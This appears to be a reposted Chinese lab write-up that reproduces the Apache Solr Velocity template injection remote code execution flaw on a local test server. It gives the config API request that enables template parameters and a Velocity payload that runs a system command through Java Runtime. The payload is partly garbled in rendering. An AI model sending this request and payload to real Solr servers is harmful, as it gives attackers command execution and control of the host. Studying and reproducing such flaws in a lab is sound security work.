Apache Solr Velocity模板注入RCE

这篇具有很好参考价值的文章主要介绍了Apache Solr Velocity模板注入RCE。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Apache Solr Velocity模板注入RCE

一、Apache Solr介绍

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引,也可以通过http get操作提出查找请求,并得到XML格式的返回结果。

二、漏洞描述

Solr中存在VelocityResponseWriter组件,攻击者可以构造特定请求修改相关配置,使VelocityResponseWriter组件允许加载指定模板,进而导致Velocity模版注入远程命令执行漏洞,攻击者利用该漏洞可以直接获取到服务器权限。
漏洞产生原因:
当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模板,默认设置是false。当设置params.resource.loader.enabled为ture时,将允许用户通过设置请求中的参数来指定相关资源加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。

三、漏洞影响版本

Apache Solr 5.x - 8.2.0,存在config API版本

四、漏洞环境搭建

1、 安装java环境
solr rce,web安全,渗透测试,代码审计,红队攻防,漏洞分析

2、下载Apache Solr 8.2.0,下载地址: https://www.apache.org/dyn/closer.lua/lucene/solr/8.2.0/solr-8.2.0.zip
3、解压然后进入bin目录执行solr.cmd start
solr rce,web安全,渗透测试,代码审计,红队攻防,漏洞分析

4、浏览器访问192.168.183.128:8983,环境搭建成功
solr rce,web安全,渗透测试,代码审计,红队攻防,漏洞分析

五、漏洞复现

1、重新启动,再次访问192.168.183.128:8983/solr发现没有创建core, 先手动在/server/solr/目录下创建一个test的文件夹,然后将/server/solr/configsets/_default/下的conf目录拷贝到test目录下

solr rce,web安全,渗透测试,代码审计,红队攻防,漏洞分析
solr rce,web安全,渗透测试,代码审计,红队攻防,漏洞分析

2、然后按照如下图所示创建一个名为test的core
solr rce,web安全,渗透测试,代码审计,红队攻防,漏洞分析

3、然后访问查看该应用config文件是否可以访问
solr rce,web安全,渗透测试,代码审计,红队攻防,漏洞分析

4、Apache Solr默认集成VelocityResponseWriter插件,该插件初始化参数中的params.resource.loader.enabled默认值设置为false,但是可以通过POST请求直接修改集合设置,将其设置为true,然后就可以构造特殊的GET请求来实现远程代码执行。
直接构造POST请求,在/solr/test/config目录POST以下数据(修改Core的配置)
{
“update-queryresponsewriter”: {
“startup”: “lazy”,
“name”: “velocity”,
“class”: “solr.VelocityResponseWriter”,
“template.base.dir”: “”,
“solr.resource.loader.enabled”: “true”,
“params.resource.loader.enabled”: “true”
}
}

修改成post请求后

这样才会成功

solr rce,web安全,渗透测试,代码审计,红队攻防,漏洞分析

6.接下来我们就可以构造payload来实现RCE

Payload如下:
/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set( x = x=%27%27)+%23set( x=rt= x . c l a s s . f o r N a m e ( x.class.forName(%27java.lang.Runtime%27))+%23set( x.class.forName(chr= x . c l a s s . f o r N a m e ( x.class.forName(%27java.lang.Character%27))+%23set( x.class.forName(str= x . c l a s s . f o r N a m e ( x.class.forName(%27java.lang.String%27))+%23set( x.class.forName(ex= r t . g e t R u n t i m e ( ) . e x e c ( rt.getRuntime().exec(%27ipconfig%27))+ rt.getRuntime().exec(ex.waitFor()+%23set( o u t = out= out=ex.getInputStream())+%23foreach( i + i n + [ 1.. i+in+[1.. i+in+[1..out.available()]) s t r . v a l u e O f ( str.valueOf( str.valueOf(chr.toChars($out.read()))%23end

solr rce,web安全,渗透测试,代码审计,红队攻防,漏洞分析
文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:儒道易行 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。文章来源地址https://www.toymoban.com/news/detail-657595.html

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog

公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

博客:
https://rdyx0.github.io/

先知社区:
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85


到了这里,关于Apache Solr Velocity模板注入RCE的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Web攻防--Java_SQL注入--XXE注入-- SSTI模板注入--SPEL表达式注入

    编译器在编译sql语句时,会依次进行词法分析、语法分析、语义分析等操作, 预编译技术会让数据库跳过编译阶段,也就无法就进行词法分析,不会被拆开,注入语句也就不会被识别为SQL的,从而防止恶意注入语句改变原有SQL语句本身逻辑。 在使用JDBC进行数据

    2024年02月09日
    浏览(60)
  • Ctfshow web入门 SSTI 模板注入篇 web361-web372 详细题解 全

    笔记分享 一、代码块 二、常用方法 三、SSTI-jinja2执行命令的六种方式 最后附上我的思维导图 开始做题 进去是个这玩意。非常明显的SSTI模板注入的特征。 题目有提到名字就是考点。 测试一下是jinja2模板 payload:(以下这些都可以) 开始过滤了,测试了一下过滤了数字,1和

    2024年02月13日
    浏览(39)
  • Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全

    学习资料: (梭哈~) https://www.cnblogs.com/20175211lyz/p/11413335.html https://www.cnblogs.com/zhaijiahui/p/9147595.html https://www.cnblogs.com/r00tuser/p/7255939.html https://mp.weixin.qq.com/s?__biz=MzU1ODg3NTMyMQ==mid=2247489349idx=1sn=ab435be65bc6c35a21ea4bd040693d8csource=41#wechat_redirect https://security.tencent.com/index.php/blog/msg/69

    2024年02月13日
    浏览(38)
  • 使用 Velocity 模板引擎的 Spring Boot 应用

    模板引擎是构建动态内容的重要工具,特别适用于生成HTML、邮件内容、报告和其他文本文档。Velocity是一个强大的模板引擎,它具有简单易用的语法和灵活性。本文将介绍如何在Spring Boot应用中使用Velocity模板引擎,并提供示例代码。 Velocity是一个用于生成文本输出的模板引擎

    2024年02月07日
    浏览(38)
  • WEB攻防-Java安全&JNDI&RMI&LDAP&五大不安全组件&RCE执行&不出网

    #知识点: 1、Java安全-RCE执行-5大类函数调用 2、Java安全-JNDI注入-RMILDAP高版本 3、Java安全-不安全组件(框架)-ShiroFastJsonJacksonXStreamLog4j 黑盒看参数名和参数值 白盒看类函数名和可控变量(大部分白盒) JNDI全称为 Java Naming and DirectoryInterface(Java命名和目录接口),是一组应用程序

    2024年02月04日
    浏览(41)
  • 【搜索引擎Solr】Apache Solr 神经搜索

    Sease[1] 与 Alessandro Benedetti(Apache Lucene/Solr PMC 成员和提交者)和 Elia Porciani(Sease 研发软件工程师)共同为开源社区贡献了 Apache Solr 中神经搜索的第一个里程碑。 它依赖于 Apache Lucene 实现 [2] 进行 K-最近邻搜索。 特别感谢 Christine Poerschke、Cassandra Targett、Michael Gibney 和所有其他

    2024年02月15日
    浏览(42)
  • 框架漏洞-CVE复现-Apache Shiro+Apache Solr

    什么是框架?        就是别人写好包装起来的一套工具,把你原先必须要写的,必须要做的一些复杂的东西都写好了放在那里,你只要调用他的方法,就可以实现一些本来要费好大劲的功能。          如果网站的功能是采用框架开发的,那么挖掘功能的漏洞就相当于

    2024年02月16日
    浏览(38)
  • Web安全系列——注入攻击

    文章首发公众号: 海天二路搬砖工 在Web应用程序开发中,防SQL注入最基本的安全防护要求了。其实除了SQL注入, 还有很多其他的注入攻击方式。注入攻击是最常见的Web应用攻击方式之一。 本文将介绍注入攻击的概念、种类、原理,以及如何防护。 注入攻击是指攻击者在应

    2024年02月06日
    浏览(37)
  • Apache Solr搜索引擎开发框架

    为什么要学习搜索引擎开发框架 常见的搜索引擎框架: 1.Solr 2.ElasticSearch 搭建ELK环境(ElasticSearch+Logback+Kabana)实现日志系统的搭建 Solr是基于Apache Lucene构建的流行,快速,开源的企业搜索平台。 Solr具有高可靠性,可扩展性和容错性,可提供分布式索引,复制和负载均衡查询

    2024年02月05日
    浏览(42)
  • 【搜索引擎】提高Apache Solr 性能

    这是一个关于我们如何设法克服搜索和相关性堆栈的稳定性和性能问题的简短故事。 在过去的 10 个月里,我很高兴与个性化和相关性团队合作。我们负责根据排名和机器学习向用户提供“个性化和相关的内容”。我们通过一组提供三个公共端点的微服务来做到这一点,即

    2024年02月17日
    浏览(42)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包